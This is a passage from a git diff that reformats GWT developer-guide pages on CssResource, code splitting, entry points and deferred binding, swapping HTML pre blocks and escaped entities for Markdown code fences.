@@ -326,24 +344,29 @@
 *   Any legal property value or expression may be used with `@def`
 *   `@def` rules that define a single numeric value may be accessed in a manner similar to obfuscated class names by defining an accessor method on the CssResource type that returns a primitive numeric value.
 
-<pre class="prettyprint">interface MyResources extends CssResource {
+```
+interface MyResources extends CssResource {
   int small();
-}</pre>
+}
+```
 
 *   Calling `small()` would return the value `1`.
 
 *   @def` rules can be accessed as a String as well.  You can retrieve the two definitions above with:
 
-<pre class="prettyprint">interface MyResources extends CssResource {
+```
+interface MyResources extends CssResource {
   String small();
   String black();
-}</pre>
+}
+```
 
 *   Calling `small()` returns "1px"
 *   Calling `black()` returns "#000"
 *   The Generator will not allow you to declare an `@def` rule with the same name as a class, unless you annotate method to retrieve the class with the `@ClassName` annotation.
 
-<pre class="prettyprint">@def myIdent 10px;
+```
+@def myIdent 10px;
 .myIdent {
   ...
 }
@@ -353,17 +376,20 @@
 
   @ClassName("myIdent")
   String myIdentClass();
-}</pre>
+}
+```
 
 *   Calling `myIdent()` returns @def value "10px"
 *   Calling `myIdentClass()` returns the obfuscated class name for .myIdent
 
 #### Runtime substitution<a id="Runtime_substitution"></a>
 
-<pre class="prettyprint">@eval userBackground com.module.UserPreferences.getUserBackground();
+```
+@eval userBackground com.module.UserPreferences.getUserBackground();
 div {
   background: userBackground;
-}</pre>
+}
+```
 
 *   Provides runtime support for evaluating static methods when the stylesheet is injected.  Triggered / dynamic updates could be added in the future if we allow programmatic manipulation of the style elements.
 
@@ -372,38 +398,46 @@
 
 #### Value function<a id="Value_function"></a>
 
-<pre class="prettyprint">.myDiv {
+```
+
+.myDiv {
   offset-left: value('imageResource.getWidth', 'px');
-}</pre>
+}
+```
 
 *   The `value()` function takes a sequence of dot-separated identifiers and an optional suffix.  The identifiers are interpreted as zero-arg method invocations, using the interface passed to GWT.create() as the root namespace.  By only allowing zero-arg methods, there's no need to attempt to perform type checking in the Generator.  The only validation necessary is to ensure that the sequence of methods exists.  There may be arbitrarily many identifiers in the chain.
 *   The `value()` function may be combined with `@def`
 
-<pre class="prettyprint">@def SPRITE_WIDTH value('imageResource.getWidth', 'px')
+```
+@def SPRITE_WIDTH value('imageResource.getWidth', 'px')
 
 .selector {
   width: SPRITE_WIDTH;
-}</pre>
+}
+```
 
 #### Literal function<a id="Literal_function"></a>
 
 Some user agents make use of property values that do not conform to the CSS grammar. The `literal()` function exists to allow these non-standard property values to be used.
 
-<pre class="prettyprint">div-with-literal {
+```
+div-with-literal {
   top: literal("expression(document.compatMode==\"CSS1Compat\" ? documentElement.scrollTop : document.body.scrollTop \\ 2)");
-}</pre>
+}
+```
 
 Note that it is necessary to escape the backslash (`\`) and double-quote (`"`) characters.
 
 #### Conditional CSS<a id="Conditional_CSS"></a>
 
-<pre class="prettyprint">/* Runtime evaluation in a static context */
+```
+/* Runtime evaluation in a static context */
 @if (com.module.Foo.staticBooleanFunction()) {
   ... css rules ...
 }
 
 /* Compile-time evaluation */
-@if &lt;deferred-binding-property&gt; &lt;space-separated list of values&gt; {
+@if <deferred-binding-property> <space-separated list of values> {
   ... css rules ...
 }
 @if user.agent safari gecko1_8 { ... }
@@ -418,7 +452,8 @@
 @if (true) {
 } @elif (false) {
 } @else {
-}</pre>
+}
+```
 
 *   This allows for more advanced skinning / theming / browser quirk handling by allowing for structural changes in the CSS.
 *   The contents of an @if block can be anything that would be a top-level rule in a CSS stylesheet.
@@ -428,7 +463,9 @@
 
 #### Image Sprites<a id="Image_Sprites"></a>
 
-<pre class="prettyprint">@sprite .mySpriteClass {gwt-image: "imageAccessor"; other: property;} =&gt; generates =&gt;
+```
+
+@sprite .mySpriteClass {gwt-image: "imageAccessor"; other: property;} => generates =>
 
   .mySpriteClass {
     background-image: url(gen.png);
@@ -436,9 +473,11 @@
     width: 27px;
     height: 42px;
     other: property;
-  }</pre>
+  }
+```
 
-<pre class="prettyprint">interface MyCssResource extends CssResource {
+```
+interface MyCssResource extends CssResource {
   String mySpriteClass();
 }
 
@@ -452,7 +491,8 @@
   @Source("some.png")
   @ImageOptions(repeatStyle=RepeatStyle.Horizontal)
   ImageResource repeatingImage();
-}</pre>
+}
+```
 
 *   @sprite is sensitive to the FooBundle in which the CSSResource is declared; a sibling [ImageResource](/javadoc/latest/index.html?com/google/gwt/resources/client/ImageResource.html) method named in the @sprite declaration will be used to compose the background sprite.
 *   @sprite entries will be expanded to static CSS rules, possibly with data: urls.
@@ -462,20 +502,24 @@
 
 #### References to Data Resources<a id="References_to_Data_Resources"></a>
 
-<pre class="prettyprint">/* @url &lt;constant name&gt; &lt;DataResource method name&gt; */
+```
+/* @url <constant name> <DataResource method name> */
 @url myCursorUrl fancyCursorResource;
 
 .myClass {
   cursor: myCursorUrl, pointer;
-}</pre>
+}
+```
 
-<pre class="prettyprint">interface MyResources extends ClientBundle {
+```
+interface MyResources extends ClientBundle {
   @Source("myCursor.cur")
   DataResource fancyCursorResource();
 
   @Source("my.css")
   CssResource css();
-}</pre>
+}
+```
 
 *   The identifier will be expanded to `url('some_url')` based on the return value of `DataResource.getUrl()`.
 
@@ -493,37 +537,47 @@
     *   When the cursor property has an `resize` value, it will be flipped: `ne-resize` becomes `nw-resize`
 *   Sections of CSS can be exempted from automatic flipping by enclosing it in a `@noflip` block:
 
-<pre class="prettyprint">@noflip {
+```
+@noflip {
   .selector {
     left: 10;
   }
-}</pre>
+}
+```
 
 *   A `background` property value that uses pixel-based offsets, such as `background-position: 4px 10px;` will not be transformed automatically.
     *   The four-valued CSS3 `background-position` property will be automatically flipped by the RTL support
 
-    <pre class="prettyprint">background-position: left 4px top 10px;</pre>
+```
+background-position: left 4px top 10px;
+```
 
     *   For CSS2 browsers, it will be necessary to use an `@sprite` rule:
 
-    <pre class="prettyprint">@sprite .bgImage {
+```
+@sprite .bgImage {
         gwt-image: 'background-image';
         position: absolute;
         left: 4px;
         top: 10px;
-    }</pre>
+    }
+```
 
 *   `ImageResources` can be automatically flipped in RTL contexts via the use of the `@ImageOptions` annotation:
 
-<pre class="prettyprint">@Source("icon128.png")
+```
+@Source("icon128.png")
 @ImageOptions(flipRtl = true)
-ImageResource logo();</pre>
+ImageResource logo();
+```
 
 *   [Current auto-RTL test cases](https://gwt.googlesource.com/gwt/+/master/user/test/com/google/gwt/resources/rg)
 
 #### Selector obfuscation<a id="Selector_obfuscation"></a>
 
-<pre class="prettyprint">java:
+```
+
+java:
     class Resources {
       MyCSSResource myCSSResource();
     }
@@ -539,55 +593,69 @@
     .someOtherClass {
       /* ... */
     }
-    .hookClass{} /* Empty and stripped, but left for future expansion */</pre>
+    .hookClass{} /* Empty and stripped, but left for future expansion */
+```
 
 *   The function just returns the CSS class name, but verifies that the CSS class exists in the stylesheet.
 *   Accessing class names through the interface ensures that there can be no typos in code that consumes the `CssResource`.
 *   For obfuscation, we'll use a Adler32 checksum of the source css file expressed in base36 as a prefix (7 chars). The developer can override this with the `CssResource.obfuscationPrefix` deferred-binding property.
 
-*   `&lt;set-configuration-property name="CssResource.obfuscationPrefix" value="empty" /&gt;` can be used for minimal-length selector names, but this is only recommended when the GWT module has total control over the page.
+*   `<set-configuration-property name="CssResource.obfuscationPrefix" value="empty" />` can be used for minimal-length selector names, but this is only recommended when the GWT module has total control over the page.
 *   The `@external` at-rule can be used to selectively disable obfuscation for named selectors; see [external and legacy scopes](#External_and_legacy_scopes) for additional detail.
 
 ### Optimizations<a id="Optimizations"></a>
 
 #### Basic minification<a id="Basic_minification"></a>
 
-Basic minification of the CSS input results in the minimum number of bytes required to retain the original structure of the input.  In general, this means that comments, unnecessary whitespace, and empty rules are removed. 
+Basic minification of the CSS input results in the minimum number of bytes required to retain the original structure of the input.  In general, this means that comments, unnecessary whitespace, and empty rules are removed.
 
-<pre class="prettyprint">.div {
+```
+.div {
   /* This is the default background color */
   background: blue;
 }
-.empty {}</pre>
+.empty {}
+```
 
-would be transformed into 
+would be transformed into
 
-<pre class="prettyprint">.div{background:blue;}</pre>
+```
+
+.div{background:blue;}
+```
 
 #### Selector merging<a id="Selector_merging"></a>
 
-Rules with identical selectors can be merged together. 
+Rules with identical selectors can be merged together.
 
-<pre class="prettyprint">.div {prop: value;}
-.div {foo: bar;}</pre>
+```
+.div {prop: value;}
+.div {foo: bar;}
+```
 
-becomes 
+becomes
 
-<pre class="prettyprint">.div {prop:value;foo:bar;} </pre>
+```
+
+.div {prop:value;foo:bar;}
+```
 
 However, it is necessary that the original semantic ordering of the properties within the CSS is preserved.  To ensure that all selector merges are correct, we impose the restriction that <strong>no rule can be promoted over another if the two rules define a common property</strong>.  We consider `border` and `border-top` to be equivalent properties, however `padding-left` and `padding-right` are not equivalent.
 
-Thus 
+Thus
 
-<pre class="prettyprint">.a {background: green;}
+```
+.a {background: green;}
 .b {border: thin solid blue;}
-.a {border-top: thin solid red;}</pre>
+.a {border-top: thin solid red;}
+```
 
 cannot be merged because an element whose CSS class matches both `.a` and `.b` would be rendered differently based on the exactly order of the CSS rules.
 
 When working with `@if` statements, it is preferable to work with the form that operates on deferred-binding properties because the CSS compiler can evaluate these rules statically, before the merge optimizations.  Consider the following:
 
-<pre class="prettyprint">.a {
+```
+.a {
   background: red;
 }
 
@@ -599,20 +667,25 @@
   .a {
     background: url('picture_of_border.png');
   }
-}</pre>
+}
+```
 
 In the safari permutation, the rule becomes `.a{background:red;\-webkit-border-radius:5px;}` while in other permutations, the `background` property is merged.
 
 #### Property merging<a id="Property_merging"></a>
 
-Rules with identical properties can be merged together. 
+Rules with identical properties can be merged together.
 
-<pre class="prettyprint">.a {background: blue;}
-.b {background: blue;}</pre>
+```
+.a {background: blue;}
+.b {background: blue;}
+```
 
-can be transformed into 
+can be transformed into
 
-<pre class="prettyprint">.a,.b{background:blue;}</pre>
+```
+.a,.b{background:blue;}
+```
 
 Promotion of rules follows the previously-established rule of not promoting a rule over other rules with common properties.
 
@@ -628,7 +701,8 @@
 
 In the normal case, any class selectors that do not match String accessor functions is an error.  This behavior can be disabled by adding a `@NotStrict` annotation to the CSS accessor method.  Enabling `@NotStrict` behavior is only recommended for applications that are transitioning from external CSS files to `CssResource`.
 
-<pre class="prettyprint">interface MyCssResource extends CssResource {
+```
+interface MyCssResource extends CssResource {
   String foo();
 }
 
@@ -636,19 +710,23 @@
   @Source("my.css")
   @CssResource.NotStrict
   MyCssResource css();
-}</pre>
+}
+```
 
-<pre class="prettyprint">/* This is ok */
+```
+/* This is ok */
 .foo {}
 
 /* This would normally generate a compile error in strict mode */
-.other {}</pre>
+.other {}
+```
 
 #### Scope<a id="Scope"></a>
 
 Scoping of obfuscated class names is defined by the return type of the `CssResource` accessor method in the resource bundle.  Each distinct return type will return a wholly separate collection of values for String accessor methods.
 
-<pre class="prettyprint">interface A extends CssResource {
+```
+interface A extends CssResource {
   String foo();
 }
 
@@ -670,7 +748,8 @@
   B b();
   C c();
   D d();
-  D d2();</pre>
+  D d2();
+```
 
 It will be true that a().foo() != b().foo() != c().foo() != d().foo().  However, a().foo() == a2().foo() and d().foo() == d2().foo(). 
 
@@ -678,8 +757,7 @@
 
 In the case of "stateful" CSS classes like `focused` or `enabled`, it is convenient to allow for certain String accessor functions to return the same value, regardless of the `CssResource` type returned from the accessor method.
 
-<pre class="prettyprint">
-
+```
 @Shared
 interface FocusCss extends CssResource {
   String focused();
@@ -703,7 +781,8 @@
   B b();
   C c();
   FocusCss f();
-}</pre>
+}
+```
 
 In this example, a().focused() == b().focused() == c().focused == f().focused().  However, a().widget() != b().widget != c.widget(), as in the previous example.
 
@@ -713,7 +792,8 @@
 
 The Java type system can be somewhat ambiguous when it comes to multiple inheritance of interfaces that define methods with identical signatures, although there exist a number of cases where it is necessary to refer to multiple, unrelated `CssResource` types.  Consider the case of a Tree that contains Checkboxes.
 
-<pre class="prettyprint">@ImportedWithPrefix("tree")
+```
+@ImportedWithPrefix("tree")
 interface TreeCss extends CssResource {
   String widget();
 }
@@ -730,16 +810,19 @@
 interface Resources extends ClientBundle {
   @Import({TreeCss.class, CbCss.class})
   MyCss css();
-}</pre>
+}
+```
 
-<pre class="prettyprint">/* Now we can write a descendant selector using the prefixes defined on the CssResource types */
+```
+/* Now we can write a descendant selector using the prefixes defined on the CssResource types */
 .tree-widget .checkbox-widget {
   color: red;
 }
 
 .other {
   something: else;
-}</pre>
+}
+```
 
 Composing a "TreeCbCss" interface would be insufficient because consumers of the TreeCss interface and CbCss interface would receive the same value from the widget method.  Moreover, the use of just `.widget` in the associated CSS file would also be insufficient without the use of some kind of class selector prefix.  The prefix is defined on the `CssResource` type (instead of on the `CssResource` accessor method) In the interest of uniformity across all CSS files that import a given scope.  It is a compile-time error to import multiple classes that have the same prefix or simple name.
 
@@ -749,7 +832,8 @@
 
 This is a use-case that is currently impossible to style correctly in GWT.
 
-<pre class="prettyprint">// Assume this interface is provided by the UI library
+```
+// Assume this interface is provided by the UI library
 interface StackPanelCss extends CssResource {
   String widget();
   // and many more class names
@@ -773,28 +857,34 @@
   @Import(StackPanelInner.class)
   @Source("stackPanel.css", "outer.css")
   StackPanelOuter outer();
-}</pre>
+}
+```
 
 The file `stackPanel.css` defines the basic structure of any given stackPanel:
 
-<pre class="prettyprint">.widget .title {}
+```
+.widget .title {}
 .widget .content {}
-/* Other stuff to make a StackPanel work */</pre>
+/* Other stuff to make a StackPanel work */
+```
 
 The `outer()` method can continue to use the base `stackPanel.css` file, because the accessor methods defined in `StackPanelCss` are mapped into the default (no-prefix) namespace.  The inner StackPanel's style members are also available, but in the `inner` prefix.  Here's what `outer.css` might contain:
 
-<pre class="prettyprint">.widget {color: red;}
+```
+.widget {color: red;}
 
 .inner-widget {
   color: blue;
   font-size: smaller;
-}</pre>
+}
+```
 
 External and legacy scopes<a id="External_and_legacy_scopes"></a>
 
 In many cases, newly-developed CSS will need to be combined with external or legacy CSS. The `@external` at-rule can be used to suppress selector obfuscation while still allowing programmatic access to the selector name.
 
-<pre class="prettyprint">interface MyCssResource extends CssResource {
+```
+interface MyCssResource extends CssResource {
   String obfuscated();
   String legacySelectorA();
 }
@@ -802,11 +892,14 @@
 interface Resource extends ClientBundle {
   @Source("my.css")
   MyCssResource css();
-}</pre>
+}
+```
 
-<pre class="prettyprint">@external legacySelectorA, legacySelectorB;
+```
+@external legacySelectorA, legacySelectorB;
 .obfuscated .legacySelectorA { .... }
-.obfuscated .legacySelectorB { .... }</pre>
+.obfuscated .legacySelectorB { .... }
+```
 
 In the above example, the `.obfuscated` class selector will be obfuscated, and the `obfuscated()` method will return the replaced name. Neither of the legacy selectors will be obfuscated and the `legacySelectorA()` method will return the unobfuscated value.  Furthermore, because the `legacySelectorB` is explicitly defined in the `@external` declaration, the inaccessible class name will not trigger an error.
 
@@ -814,8 +907,10 @@
 
 A utility is included in the GWT distribution which will analyze a `CssResource`-compatible CSS file and create a corresponding Java interface for accessing the classnames used in the file.
 
-<pre class="prettyprint">java -cp gwt-dev.jar:gwt-user.jar com.google.gwt.resources.css.InterfaceGenerator \
-  -standalone -typeName some.package.MyCssResource -css input.css</pre>
+```
+java -cp gwt-dev.jar:gwt-user.jar com.google.gwt.resources.css.InterfaceGenerator \
+  -standalone -typeName some.package.MyCssResource -css input.css
+```
 
 The generated interface will be emitted to `System.out`. The `-standalone` option will add the necessary `package` and `import` statements to the output so that it can be used as part of a build process.
 
@@ -825,7 +920,8 @@
 
 ### Browser-specific css<a id="Browser-specific_css"></a>
 
-<pre class="prettyprint">.foo {
+```
+.foo {
   background: green;
 }
 
@@ -842,53 +938,64 @@
   .foo {
     font-size: x-large;
   }
-}</pre>
+}
+```
 
 
 ### Obfuscated CSS class names<a id="Obfuscated_CSS_class_names"></a>
 
 `CssResource` will use method names as CSS class names to obfuscate at runtime.
 
-<pre class="prettyprint">interface MyCss extends CssResource {
+```
+interface MyCss extends CssResource {
   String className();
 }
 
 interface MyResources extends ClientBundle {
   @Source("my.css")
   MyCss css();
-}</pre>
+}
+```
 
 All instances of a selector with `.className` will be replaced with an obfuscated symbol when the CSS is compiled.  To use the obfuscated name:
 
-<pre class="prettyprint">MyResources resources = GWT.create(MyResources.class);
+```
+MyResources resources = GWT.create(MyResources.class);
 Label l = new Label("Some text");
-l.addStyleName(resources.css().className());</pre>
+l.addStyleName(resources.css().className());
+```
 
 If you have class names in your css file that are not legal Java identifiers, you can use the `@ClassName` annotation on the accessor method:
 
-<pre class="prettyprint">interface MyCss extends CssResource {
+```
+interface MyCss extends CssResource {
   @ClassName("some-other-name")
   String someOtherName();
-}</pre>
+}
+```
 
 
 ### Background images / Sprites<a id="Background_images_/_Sprites"></a>
 
 `CssResource` reuses the `ImageResource` bundling techniques and applies them to CSS background images.  This is generally known as "spriting" and a special `@sprite` rule is used in `CssResource`.
 
-<pre class="prettyprint">interface MyResources extends ClientBundle {
+```
+interface MyResources extends ClientBundle {
   @Source("image.png")
   ImageResource image();
 
   @Source("my.css");
   CssResource css();
-}</pre>
+}
+```
 
 In `my.css`, sprites are defined using the `@sprite` keyword, followed by an arbitrary CSS selector, and the rule block must include a `gwt-image` property.  The `gwt-image` property should name the `ImageResource` accessor function.
 
-<pre class="prettyprint">@sprite .myImage {
+```
+@sprite .myImage {
   gwt-image: 'image';
-}</pre>
+}
+```
 
 The elements that match the given selection will display the named image and have their heights and widths automatically set to that of the image.
 
@@ -896,11 +1003,13 @@
 
 If the `ImageResource` is decorated with an `@ImageOptions` annotation, the source image can be tiled along the X- or Y-axis.  This allows you to use 1-pixel wide (or tall) images to define borders, while still taking advantage of the image bundling optimizations afforded by `ImageResource`.
 
-<pre class="prettyprint">interface MyResources extends ClientBundle {
+```
+interface MyResources extends ClientBundle {
   @ImageOptions(repeatStyle = RepeatStyle.Horizontal)
   @Source("image.png")
   ImageResource image();
-}</pre>
+}
+```
 
 The elements that match the `@sprite`'s selector will only have their height or width set, based on the direction in which the image is to be repeated.
 
@@ -908,7 +1017,8 @@
 
 In order to make the content area of a 9-box have the correct size, the height and widths of the border images must be taken into account.  Instead of hard-coding the image widths into your CSS file, you can use the `value()` CSS function to insert the height or width from the associated `ImageResource`.
 
-<pre class="prettyprint">  public interface Resources extends ClientBundle {
+```
+public interface Resources extends ClientBundle {
     Resources INSTANCE = GWT.create(Resources.class);
 
     @Source("bt.png")
@@ -941,9 +1051,11 @@
 
     @Source("tbr.png")
     ImageResource topRightBorder();
-  }</pre>
+  }
+```
 
-<pre class="prettyprint">.contentArea {
+```
+.contentArea {
   padding: value('topBorder.getHeight', 'px') value('rightBorder.getWidth', 'px')
       value('bottomBorder.getHeight', 'px') value('leftBorder.getWidth', 'px');
 }
@@ -1006,17 +1118,20 @@
   top: 0;
   right: 0;
   height: 100%;
-}</pre>
+}
+```
 
-<pre class="prettyprint">&lt;div class="contentArea"&gt;
+```
+<div class="contentArea">
 
-&lt;div class="contentAreaTopLeftBorder"&gt;&lt;/div&gt;
-&lt;div class="contentAreaTopBorder"&gt;&lt;/div&gt;
-&lt;div class="contentAreaTopRightBorder"&gt;&lt;/div&gt;
-&lt;div class="contentAreaBottomLeftBorder"&gt;&lt;/div&gt;
-&lt;div class="contentAreaBottomBorder"&gt;&lt;/div&gt;
+<div class="contentAreaTopLeftBorder"></div>
+<div class="contentAreaTopBorder"></div>
+<div class="contentAreaTopRightBorder"></div>
+<div class="contentAreaBottomLeftBorder"></div>
+<div class="contentAreaBottomBorder"></div>
 
-&lt;div class="contentAreaBottomRightBorder"&gt;&lt;/div&gt;
-&lt;div class="contentAreaLeftBorder"&gt;&lt;/div&gt;
-&lt;div class="contentAreaRightBorder"&gt;&lt;/div&gt;
-&lt;/div&gt;</pre>
+<div class="contentAreaBottomRightBorder"></div>
+<div class="contentAreaLeftBorder"></div>
+<div class="contentAreaRightBorder"></div>
+</div>
+```
diff --git a/src/main/markdown/doc/latest/DevGuideCodeSplitting.md b/src/main/markdown/doc/latest/DevGuideCodeSplitting.md
index a0edb58..ba709e1 100644
--- a/src/main/markdown/doc/latest/DevGuideCodeSplitting.md
+++ b/src/main/markdown/doc/latest/DevGuideCodeSplitting.md
@@ -40,7 +40,7 @@
 
 For example, here is the initial, unsplit Hello sample that comes with GWT:
 
-<pre class="prettyprint">
+```
 public class Hello implements EntryPoint {
   public void onModuleLoad() {
     Button b = new Button("Click me", new ClickHandler() {
@@ -52,12 +52,12 @@
     RootPanel.get().add(b);
   }
 }
-</pre>
+```
 
 Suppose you wanted to split out the `Window.alert` call into
 a separate code download.  The following code accomplishes this:
 
-<pre class="prettyprint">
+```
 public class Hello implements EntryPoint {
   public void onModuleLoad() {
     Button b = new Button("Click me", new ClickHandler() {
@@ -77,7 +77,7 @@
     RootPanel.get().add(b);
   }
 }
-</pre>
+```
 
 In the place the code used to call `Window.alert`, there is
 now a call to `GWT.runAsync`.  The argument
@@ -261,11 +261,11 @@
 To give a name to a `runAsync` call, add a class literal as
 the first argument to the call to `runAsync`, like this:
 
-<pre class="prettyprint">
-  GWT.runAsync(SomeClass.class, new RunAsyncCallback() {
+```
+GWT.runAsync(SomeClass.class, new RunAsyncCallback() {
     // ... callback class's body ...
   }
-</pre>
+```
 
 This first argument must be a class literal, and it is ignored
 except to be used as a name for the call.  Any class literal can be
@@ -275,10 +275,10 @@
 Once you have named your calls, you can specify an initial load sequence
 with lines like the following:
 
-<pre class="prettyprint">
-  &lt;extend-configuration-property name="compiler.splitpoint.initial.sequence"
+```
+<extend-configuration-property name="compiler.splitpoint.initial.sequence"
     value="com.yourcompany.yourprogram.SomeClass"/>
-</pre>
+```
 
 The `value` part of the line specifies a split point.  It is
 interpreted as a fully qualified class name that must match a literal
@@ -290,14 +290,14 @@
 the configuration property.  For example, here is module code to
 specify an initial load sequence of three split points.
 
-<pre class="prettyprint">
-  &lt;extend-configuration-property name="compiler.splitpoint.initial.sequence"
+```
+<extend-configuration-property name="compiler.splitpoint.initial.sequence"
     value="com.yourcompany.yourprogram.SomeClass"/>
-  &lt;extend-configuration-property name="compiler.splitpoint.initial.sequence"
+  <extend-configuration-property name="compiler.splitpoint.initial.sequence"
     value="com.yourcompany.yourprogram.AnotherClassClass"/>
-  &lt;extend-configuration-property name="compiler.splitpoint.initial.sequence"
+  <extend-configuration-property name="compiler.splitpoint.initial.sequence"
     value="com.yourcompany.yourprogram.YetAnotherClass"/>
-</pre>
+```
 
 The down side to specifying an initial load sequence is that if the
 split points are reached in a different order than specified, then
@@ -343,7 +343,7 @@
 
 The overall pattern looks as follows.
 
-<pre class="prettyprint">
+```
 public class Module {
   // public APIs
   public doSomething() { /* ... */ }
@@ -378,7 +378,7 @@
     });
   }
 }
-</pre>
+```
 
 Whenever you access the module from code that possibly loads before
 the module, go through the static Module.createAsync method.  This
@@ -415,7 +415,7 @@
 that contact.  A prefetchable way to wrap that code would be as
 follows:
 
-<pre class="prettyprint">
+```
 public void showContact(final String contactId) {
   GWT.runAsync(new RunAsyncCallback() {
       public void onFailure(Throwable caught) {
@@ -432,7 +432,7 @@
       }
   });
 }
-</pre>
+```
 
 Here, if `showContact` is called with an actual contact ID,
 then the callback displays the information about that contact.  If,
diff --git a/src/main/markdown/doc/latest/DevGuideCodingBasics.md b/src/main/markdown/doc/latest/DevGuideCodingBasics.md
index 21d03af..5c06c8e 100644
--- a/src/main/markdown/doc/latest/DevGuideCodingBasics.md
+++ b/src/main/markdown/doc/latest/DevGuideCodingBasics.md
@@ -47,4 +47,4 @@
 ## Deferred Binding<a id="DevGuideDeferredBinding"></a>
 
 [Deferred Binding](DevGuideCodingBasicsDeferred.html) is a feature of the GWT compiler that works by generating many versions of code at compile time, only one of which needs to be loaded by a particular client
-during bootstrapping at runtime. Each version is generated on a per browser basis, along with any other axis that your application defines or uses. For example, if you were to internationalize your application using GWT's Internationalization module, the GWT compiler would generate various versions of your application per browser environment, such as &quot;Firefox in English&quot;, &quot;Firefox in French&quot;, &quot;Internet Explorer in English&quot;, and so forth. As a result, the deployed JavaScript code is compact and quicker to download than hand coded JavaScript, containing only the code and resources it needs for a particular browser environment.
+during bootstrapping at runtime. Each version is generated on a per browser basis, along with any other axis that your application defines or uses. For example, if you were to internationalize your application using GWT's Internationalization module, the GWT compiler would generate various versions of your application per browser environment, such as "Firefox in English", "Firefox in French", "Internet Explorer in English", and so forth. As a result, the deployed JavaScript code is compact and quicker to download than hand coded JavaScript, containing only the code and resources it needs for a particular browser environment.
diff --git a/src/main/markdown/doc/latest/DevGuideCodingBasicsClient.md b/src/main/markdown/doc/latest/DevGuideCodingBasicsClient.md
index d2a4855..de8a5a9 100644
--- a/src/main/markdown/doc/latest/DevGuideCodingBasicsClient.md
+++ b/src/main/markdown/doc/latest/DevGuideCodingBasicsClient.md
@@ -14,7 +14,7 @@
 
 **Tip:** GWT applicationCreator creates a starter application for you with a sample EntryPoint subclass defined.
 
-<pre class="prettyprint">
+```
 package com.example.foo.client;
 
 import com.google.gwt.core.client.EntryPoint;
@@ -31,10 +31,10 @@
   public void onModuleLoad() {
 
     // Writes Hello World to the module log window.
-    GWT.log(&quot;Hello World!&quot;, null);
+    GWT.log("Hello World!", null);
   }
 }
-</pre>
+```
 
 ### Writing the entry point method
 
@@ -50,12 +50,12 @@
 
 ## Hello World Example<a id="hello"></a>
 
-Included with the GWT distribution is a sample &quot;Hello World&quot;
+Included with the GWT distribution is a sample "Hello World"
 program that looks like this when run in development mode:
 
 ![img](images/HelloWorld.png)
 
-<pre class="prettyprint">
+```
 package com.google.gwt.sample.hello.client;
 
 import com.google.gwt.core.client.EntryPoint;
@@ -72,20 +72,20 @@
 public class Hello implements EntryPoint {
 
   public void onModuleLoad() {
-    Button b = new Button(&quot;Click me&quot;, new ClickHandler() {
+    Button b = new Button("Click me", new ClickHandler() {
       public void onClick(ClickEvent event) {
-        Window.alert(&quot;Hello, AJAX&quot;);
+        Window.alert("Hello, AJAX");
       }
     });
 
     RootPanel.get().add(b);
   }
 }
-</pre>
+```
 
 In the entry point method for the Hello World application, the following actions were taken:
 
-*   a new Button widget was created with the text &quot;Click me&quot;
+*   a new Button widget was created with the text "Click me"
 *   a handler was created to respond to the user clicking the button
 *   the handler pops up an Alert dialog
 *   the button is added to the [Root panel](/javadoc/latest/com/google/gwt/user/client/ui/RootPanel.html)
diff --git a/src/main/markdown/doc/latest/DevGuideCodingBasicsDeferred.md b/src/main/markdown/doc/latest/DevGuideCodingBasicsDeferred.md
index 0ecaba4..ea05c1b 100644
--- a/src/main/markdown/doc/latest/DevGuideCodingBasicsDeferred.md
+++ b/src/main/markdown/doc/latest/DevGuideCodingBasicsDeferred.md
@@ -4,7 +4,7 @@
 Deferred binding is a feature of the GWT compiler that works by generating many versions of code at compile time, only one of which needs to be loaded by a particular client
 during bootstrapping at runtime. Each version is generated on a per browser basis, along with any other axis that your application defines or uses. For example, if you were to
 internationalize your application using [GWT's Internationalization module](DevGuideI18n.html), the GWT compiler would generate
-various versions of your application per browser environment, such as &quot;Firefox in English&quot;, &quot;Firefox in French&quot;, &quot;Internet Explorer in English&quot;, etc... As a result, the deployed
+various versions of your application per browser environment, such as "Firefox in English", "Firefox in French", "Internet Explorer in English", etc... As a result, the deployed
 JavaScript code is compact and quicker to download than hand coded JavaScript, containing only the code and resources it needs for a particular browser environment.
 
 1.  [Deferred Binding Benefits](#benefits)
@@ -51,14 +51,15 @@
 ## Directives in Module XML files<a id="directives"></a>
 
 The deferred binding mechanism is completely configurable and does not require editing the GWT distributed source code. Deferred binding is configured through the
-`&lt;replace-with&gt;` and `&lt;generate-with&gt;` elements in the [module XML files](DevGuideOrganizingProjects.html#DevGuideModuleXml). The deferred binding
-rules are pulled into the module build through `&lt;inherits&gt;` elements.
+`<replace-with>` and `<generate-with>` elements in the [module XML files](DevGuideOrganizingProjects.html#DevGuideModuleXml). The deferred binding
+rules are pulled into the module build through `<inherits>` elements.
 
 For example, the following configuration invokes deferred binding for the [PopupPanel](/javadoc/latest/com/google/gwt/user/client/ui/PopupPanel.html) widget:
 
-*   Top level _&lt;module&gt;_.gwt.xml _**inherits**_ [com.google.gwt.user.User](https://gwt.googlesource.com/gwt/+/master/user/src/com/google/gwt/user/User.gwt.xml)
+*   Top level `<module>.gwt.xml` _**inherits**_
+[com.google.gwt.user.User](https://gwt.googlesource.com/gwt/+/master/user/src/com/google/gwt/user/User.gwt.xml)
 *   [com/google/gwt/user/User.gwt.xml](https://gwt.googlesource.com/gwt/+/master/user/src/com/google/gwt/user/User.gwt.xml) _**inherits**_ [com.google.gwt.user.Popup](https://gwt.googlesource.com/gwt/+/master/user/src/com/google/gwt/user/Popup.gwt.xml)
-*   [com/google/gwt/user/Popup.gwt.xml](https://gwt.googlesource.com/gwt/+/master/user/src/com/google/gwt/user/Popup.gwt.xml) _**contains**_ `&lt;replace-with&gt;` elements to define deferred binding rules for the [PopupPanel](/javadoc/latest/com/google/gwt/user/client/ui/PopupPanel.html) class.
+*   [com/google/gwt/user/Popup.gwt.xml](https://gwt.googlesource.com/gwt/+/master/user/src/com/google/gwt/user/Popup.gwt.xml) _**contains**_ `<replace-with>` elements to define deferred binding rules for the [PopupPanel](/javadoc/latest/com/google/gwt/user/client/ui/PopupPanel.html) class.
 
 Inside the [PopupPanel](/javadoc/latest/com/google/gwt/user/client/ui/PopupPanel.html) module XML file, there
 happens to be some rules defined for deferred binding. In this case, we're using a replacement rule.
@@ -68,35 +69,35 @@
 The first type of deferred binding uses _replacement_.
 Replacement means overriding the implementation of one java class with another that is determined at compile time.
 For example, this technique is used to conditionalize the implementation of some widgets, such as the [PopupPanel](/javadoc/latest/com/google/gwt/user/client/ui/PopupPanel.html).
-The use of `&lt;inherits&gt;` for the `PopupPanel` class is shown in the previous section describing the deferred binding rules.
+The use of `<inherits>` for the `PopupPanel` class is shown in the previous section describing the deferred binding rules.
